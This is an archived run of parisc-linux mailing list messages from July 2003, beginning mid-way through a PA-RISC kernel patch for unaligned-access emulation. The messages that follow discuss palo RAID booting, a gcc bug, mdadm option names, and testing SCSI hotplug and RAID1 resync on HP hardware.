-		ret = emulate_stw(regs, R2(regs->iir));
+		ret = emulate_stw(regs, R2(regs->iir),0);
 		break;
 	}
-	/* XXX LJ - need to handle float load/store */
 
-	if (modify)
+	if (modify && R1(regs->iir))
 		regs->gr[R1(regs->iir)] = newbase;
 
 
@@ -540,9 +653,8 @@
 		return;
 	}
 
-	/* else we handled it, advance the PC.... */
-	regs->iaoq[0] = regs->iaoq[1];
-	regs->iaoq[1] = regs->iaoq[0] + 4;
+	/* else we handled it, let life go on. */
+	regs->gr[0]|=PSW_N;
 }
 
 /*

--GvXjxJ+pjyke8COw--


From - Thu Nov 08 21:28:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <Kai.Kapola@tietoenator.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] RAID howto and Palo version
Date: Wed, 9 Jul 2003 08:40:45 +0300
Lines: 17
Approved: news@gmane.org
Message-ID: <30BB5E9998236744913B2C0E04D24D3983B7D3@zonda.eu.tieto.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622570 27636 80.91.229.3 (22 Nov 2014 02:16:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:10 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul  8 23:40:47 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from datnt07.tieto.com (datnt07.tieto.com [194.110.47.24])
	by dsl2.external.hp.com (Postfix) with ESMTP id 09A10482B
	for <parisc-linux@lists.parisc-linux.org>; Tue,  8 Jul 2003 23:40:47 -0600 (MDT)
Original-Received: from viper.eu.tieto.com ([194.110.47.167]) by datnt07.tieto.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2656.59)
	id N9AZ01LM; Wed, 9 Jul 2003 08:40:45 +0300
Original-Received: from zonda.eu.tieto.com ([194.110.47.166]) by viper.eu.tieto.com with Microsoft SMTPSVC(5.0.2195.5329);
	 Wed, 9 Jul 2003 08:40:45 +0300
X-MimeOLE: Produced By Microsoft Exchange V6.0.6375.0
content-class: urn:content-classes:message
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: RAID howto and Palo version
Thread-Index: AcNF3KFQapQNgfd3SYWE0Y4jm374mQ==
X-OriginalArrivalTime: 09 Jul 2003 05:40:45.0661 (UTC) FILETIME=[A4CE48D0:01C345DC]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18846

Hi,

> 1. The document on=20
> http://www.parisc-linux.org/faq/raidboot-howto.html
> is really great. However, there is one exception


Raidboot-howto says that I have to grab CVS version of palo to boot from =
RAID partitions.=20
Currently I have "palo version 1.2 bame@b2000 Tue Jan 14 13:13:18 MST =
2003".=20
Is this version capable to boot from RAID partitions?

Thanks for a great howto!

Kai K=E4p=F6l=E4


From - Thu Nov 08 21:28:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] RAID howto and Palo version
Date: Wed, 9 Jul 2003 08:38:33 +0200
Lines: 16
Approved: news@gmane.org
Message-ID: <3F0571860000089F@ocpmta8.freegates.net>
References: <30BB5E9998236744913B2C0E04D24D3983B7D3@zonda.eu.tieto.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622570 27639 80.91.229.3 (22 Nov 2014 02:16:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:10 +0000 (UTC)
To: Kai.Kapola@tietoenator.com, parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul  9 00:38:35 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 266004881
	for <parisc-linux@lists.parisc-linux.org>; Wed,  9 Jul 2003 00:38:35 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 19a8Yy-0006Dz-00; Wed, 09 Jul 2003 08:36:24 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Wed, 9 Jul 2003 08:38:33 +0200
In-Reply-To: <30BB5E9998236744913B2C0E04D24D3983B7D3@zonda.eu.tieto.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18847

> Currently I have "palo version 1.2 bame@b2000 Tue Jan 14 13:13:18 MST 2003".

> Is this version capable to boot from RAID partitions?

Yes it works fine for a long time ago for me now :-)

hth,
    Joel

------------------------------------------------------
Soldes Tiscali ADSL : 27,50 euros/mois jusque fin 2003.
On s'habitue vite  payer son ADSL moins cher!
Plus d'info? Cliquez ici... http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:28:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Corrections for RAID1 howto and Resyncing after failure
Date: Wed, 9 Jul 2003 10:29:08 +0200
Lines: 27
Approved: news@gmane.org
Message-ID: <3F057186000008F4@ocpmta8.freegates.net>
References: <yq1llv8dbin.fsf@wilson.mkp.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622570 27644 80.91.229.3 (22 Nov 2014 02:16:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:10 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Martin K. Petersen" <mkp@mkp.net>, "Dub" <dub@latnet.lv>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul  9 02:29:16 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id D860A482B
	for <parisc-linux@lists.parisc-linux.org>; Wed,  9 Jul 2003 02:29:15 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 19aAHy-00028e-00; Wed, 09 Jul 2003 10:26:58 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Wed, 9 Jul 2003 10:29:08 +0200
In-Reply-To: <yq1llv8dbin.fsf@wilson.mkp.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18848

> It would be quite dangerous if the RAID code decided to add things
> to an array just because a disk is inserted (fine for a storage
> appliance, bad idea for a server).

CONFIG_HOTPLUG has nothing to do with it.

Yes read in <http://www.ibiblio.org/pub/Linux/docs/howto/other-formats/html_single/SCSI-2.4-HOWTO.html#mlproc>

that in Linux 2.4: "The SCSI subsystem does not support hot-plugging of SCSI
devices ..."


Well I have no experience with hpux and those new 'hotplugable' devices but
at least on Sun it doesn't mean that you can remove device(s) like this without
taking care to power it off by software!!!

hth,
    Joel


------------------------------------------------------
Soldes Tiscali ADSL : 27,50 euros/mois jusque fin 2003.
On s'habitue vite  payer son ADSL moins cher!
Plus d'info? Cliquez ici... http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:28:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc 3.3.1 ICE
Date: Wed, 9 Jul 2003 10:36:41 +0200
Lines: 17
Approved: news@gmane.org
Message-ID: <3F057186000008FC@ocpmta8.freegates.net>
References: <3F03A421000007FB@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622571 27648 80.91.229.3 (22 Nov 2014 02:16:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:11 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul  9 02:36:45 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id C0AD9482B
	for <parisc-linux@lists.parisc-linux.org>; Wed,  9 Jul 2003 02:36:45 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 19aAQ6-0006Vw-00; Wed, 09 Jul 2003 10:35:22 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Wed, 9 Jul 2003 10:36:41 +0200
In-Reply-To: <3F03A421000007FB@ocpmta1.freegates.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18849

Dave,

http://gcc.gnu.org/bugzilla/show_bug.cgi?id=11453

Thanks for the fix, I will try to co last cvs and rebuild gcc and kernel
asap.

Joel


------------------------------------------------------
Soldes Tiscali ADSL : 27,50 euros/mois jusque fin 2003.
On s'habitue vite  payer son ADSL moins cher!
Plus d'info? Cliquez ici... http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:28:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] stifb
Date: Wed, 9 Jul 2003 10:42:27 +0200
Lines: 16
Approved: news@gmane.org
Message-ID: <3F05718600000905@ocpmta8.freegates.net>
References: <200307082247.36466.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622571 27650 80.91.229.3 (22 Nov 2014 02:16:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:11 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Helge Deller" <deller@gmx.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul  9 02:42:29 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 767E0482B
	for <parisc-linux@lists.parisc-linux.org>; Wed,  9 Jul 2003 02:42:29 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 19aAUs-0003LA-00; Wed, 09 Jul 2003 10:40:18 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Wed, 9 Jul 2003 10:42:27 +0200
In-Reply-To: <200307082247.36466.deller@gmx.de>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18850

> sorry, I can't reproduce it here with current CVS version....

Ah! I will so retry with last 2.5.74-pa1

Thanks,
    Joel



------------------------------------------------------
Soldes Tiscali ADSL : 27,50 euros/mois jusque fin 2003.
On s'habitue vite  payer son ADSL moins cher!
Plus d'info? Cliquez ici... http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:28:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Re: [parisc-linux-cvs] linux grundler
Date: Wed, 9 Jul 2003 12:35:55 +0200
Lines: 26
Approved: news@gmane.org
Message-ID: <3F0571860000097D@ocpmta8.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622571 27653 80.91.229.3 (22 Nov 2014 02:16:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:11 +0000 (UTC)
Cc: parisc-linux-cvs@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul  9 04:35:59 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 3B649482B; Wed,  9 Jul 2003 04:35:59 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 19aCGg-0007aa-00; Wed, 09 Jul 2003 12:33:46 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Wed, 9 Jul 2003 12:35:55 +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18851

>>
>>> Builds/links/boots using my c3000 .config.
>
>Same here. Not dying under load either :)
>
>c.

hmm i tested successfully NS87... builtin but failed as module:
modprob do a page fault and lsmod shows me a module 'busy' and so the system

ailled to reboot (only power off button works but fs were so not cleanly
umount :( )

Cheers,
    Joel




------------------------------------------------------
Soldes Tiscali ADSL : 27,50 euros/mois jusque fin 2003.
On s'habitue vite  payer son ADSL moins cher!
Plus d'info? Cliquez ici... http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:28:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Corrections for RAID1 howto and Resyncing after failure
Date: Wed, 9 Jul 2003 13:27:00 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <20030709122700.GR1939@parcelfarce.linux.theplanet.co.uk>
References: <yq1llv8dbin.fsf@wilson.mkp.net> <3F057186000008F4@ocpmta8.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622572 27656 80.91.229.3 (22 Nov 2014 02:16:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:12 +0000 (UTC)
Cc: "Martin K. Petersen" <mkp@mkp.net>, Dub <dub@latnet.lv>,
	parisc-linux@lists.parisc-linux.org
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul  9 06:27:05 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id ED3AC482B
	for <parisc-linux@lists.parisc-linux.org>; Wed,  9 Jul 2003 06:27:04 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 19aE2G-0000Y2-W1; Wed, 09 Jul 2003 13:27:00 +0100
Content-Disposition: inline
In-Reply-To: <3F057186000008F4@ocpmta8.freegates.net>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18852

On Wed, Jul 09, 2003 at 10:29:08AM +0200, Joel Soete wrote:
> Yes read in <http://www.ibiblio.org/pub/Linux/docs/howto/other-formats/html_single/SCSI-2.4-HOWTO.html#mlproc>
> 
> that in Linux 2.4: "The SCSI subsystem does not support hot-plugging of SCSI
> devices ..."

True, it's pretty damn racy.  But if you're careful, it can work.
Let's hope we manage to make it better in 2.6 ... there's a pair of BOFs
in two weeks time at OLS (Hotplug & Linux SCSI) that should address this.

> Well I have no experience with hpux and those new 'hotplugable' devices but
> at least on Sun it doesn't mean that you can remove device(s) like this without
> taking care to power it off by software!!!

Well, no, you're always going to have to quiesce the device.  Otherwise it's
like turning the machine off without halting -- random things are cached and
simply never make it back to disc.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:28:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Dub <dub@latnet.lv>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Corrections for RAID1 howto and Resyncing after failure
Date: Wed, 09 Jul 2003 16:04:19 +0300 (EEST)
Lines: 57
Approved: news@gmane.org
Message-ID: <1057755859.3f0c12d38f8b9@clients.latnet.lv>
References: <1057687402.3f0b076a99c5d@clients.latnet.lv> <yq1llv8dbin.fsf@wilson.mkp.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=KOI8-R
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622572 27658 80.91.229.3 (22 Nov 2014 02:16:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:12 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul  9 07:04:23 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.latnet.lv (mail.latnet.lv [159.148.108.208])
	by dsl2.external.hp.com (Postfix) with SMTP id 8051548C3
	for <parisc-linux@lists.parisc-linux.org>; Wed,  9 Jul 2003 07:04:22 -0600 (MDT)
Original-Received: (qmail 13373 invoked from network); 9 Jul 2003 13:04:20 -0000
Original-Received: from unknown (HELO sisenis.latnet.lv) (159.148.108.1)
  by mail.latnet.lv with SMTP; 9 Jul 2003 13:04:20 -0000
Original-Received: (qmail 10428 invoked by uid 33); 9 Jul 2003 13:04:19 -0000
In-Reply-To: <yq1llv8dbin.fsf@wilson.mkp.net>
User-Agent: IMP/PHP IMAP webmail program 2.2.6
X-Originating-IP: 212.93.96.158
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18853

Hi,

> 
> Odd.  I'm running mdadm 1.2.0 and it says:
> 
>         allegro:~# mdadm --create --help 2>&1 | grep raid-dev
>         Usage:  mdadm --create device -chunk=X --level=Y
> --raid-devices=Z devices
>           --raid-devices= -n : number of active devices in array
> 
> Maybe Neil changed it in a later version?

I downloaded the only  stable version mdadm 0.7.2-2 from ftp.debian.org.   

# mdadm --create --help 2>&1 | grep raid-d
Usage:  mdadm --create device -chunk=X --level=Y --raid-disks=Z devices

I guess it would be nice to mention the difference in the FAQ
 
> Well.  If the disk is no longer part of the metadevice, you manually
> have to add it using the mdadm command.
> 
> It would be quite dangerous if the RAID code decided to add things to
> an array just because a disk is inserted (fine for a storage
> appliance, bad idea for a server).
OK, thank you!


> Yes read in
<http://www.ibiblio.org/pub/Linux/docs/howto/other-formats/html_single/SCSI-2.4-HOWTO.html#mlproc>
> 
> that in Linux 2.4: "The SCSI subsystem does not support hot-plugging
of SCSI
> devices ..."

I just made another test. I pull out 2 mirrored disk (root and var). The system
was running well. However, it seems that md software did not notice absense of
disk until someone tries to write there (I was forced to create a file in /boot
partition so that md understands the failure).

Then I rebooted the system without two disks. PDC told 'warn 80F5' ( Looks Error
executing Entry Init). I do not know why PDC did not try secondary device
automatically, in spite of BOOT ALT worked OK. Looks like PDC was very unhappy
about primary disk and didn't try to try secondary path.

Then Linux didn't find two disks, and reassigned new device names (sda,sdb,...)
according to existing scsi ids. Happily, md software does not care about
symbolic device names and remaps /dev/md  for new disk names according to  hw paths.

Then I inserted the disks and rebooted the system so that the disks appear as
they should. Mirror were resynced manually without problems.

So, I'm not very happy about Linux hot-plug features.

BR,
Dub


From - Thu Nov 08 21:28:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Corrections for RAID1 howto and Resyncing after failure
Date: Wed, 9 Jul 2003 15:25:49 +0200
Lines: 27
Approved: news@gmane.org
Message-ID: <3F05718600000A59@ocpmta8.freegates.net>
References: <1057755859.3f0c12d38f8b9@clients.latnet.lv>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622572 27661 80.91.229.3 (22 Nov 2014 02:16:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:12 +0000 (UTC)
To: "Dub" <dub@latnet.lv>, parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul  9 07:25:55 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1DC714868
	for <parisc-linux@lists.parisc-linux.org>; Wed,  9 Jul 2003 07:25:55 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 19aEv6-0000uO-00; Wed, 09 Jul 2003 15:23:40 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Wed, 9 Jul 2003 15:25:49 +0200
In-Reply-To: <1057755859.3f0c12d38f8b9@clients.latnet.lv>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
